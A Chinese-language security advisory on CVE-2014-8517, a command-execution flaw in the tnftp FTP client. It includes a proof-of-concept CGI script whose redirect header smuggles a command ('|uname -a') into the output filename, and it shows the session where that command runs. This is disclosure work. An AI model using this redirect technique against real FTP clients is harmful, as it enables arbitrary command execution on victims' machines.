tnftp ftp客户端任意命令执行漏洞(CVE

发布日期:2014-10-29
更新日期:2014-10-30

受影响系统:
NetBSD tnftp
描述:
CVE(CAN) ID: CVE-2014-8517

tnftp是广泛使用的NetBSD FTP客户端。

tnftp存在安全漏洞导致攻击者可以执行任意命令。此漏洞影响多个版本Linux(Fedora, Debian, NetBSD, FreeBSD, OpenBSD)及Apple Yosemite 10.10。

受害者使用"ftp "命令,而没有使用"-o"参数来指定输出文件时,恶意服务器可以通过tnftp来执行任意命令。

<*来源:Jared Mcneill
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Jared Mcneill ()提供了如下测试方法:

If you do "ftp "; and don't specify an output
    filename with -o, the ftp program can be tricked into executing
    arbitrary commands.

The FTP client will follow HTTP redirects, and uses the part of the
    path after the last / from the last resource it accesses as the output
    filename (as long as -o is not specified).

After it resolves the output filename, it checks to see if the output
    filename begins with a "|", and if so, passes the rest to
    popen(3): #1156

Here's a simple CGI script that causes ftp to execute "uname -a", the
    issue is present on both NetBSD 7.99.1 and OSX 10.10:

a20$ pwd
      /var/www/cgi-bin
      a20$ ls -l
      total 4
      -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
      -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a
      a20$ cat redirect
      #!/bin/sh
      echo 'Status: 302 Found'
      echo 'Content-Type: text/html'
      echo 'Connection: keep-alive'
      echo 'Location: |uname%20-a'
      echo
      a20$
    a20$ ftp
    Trying ::1:80 ...
    ftp: Can't connect to `::1:80': Connection refused
    Trying 127.0.0.1:80 ...
    Requesting
    Redirected to |uname%20-a
    Requesting |uname%20-a
        32      101.46 KiB/s
    32 bytes retrieved in 00:00 (78.51 KiB/s)
    NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
    ADT 2014
    Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
    BOARD evbarm
    a20$

建议:
厂商补丁:

NetBSD
 ------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1238514cd334ec4869a9e0968fcf67c0.html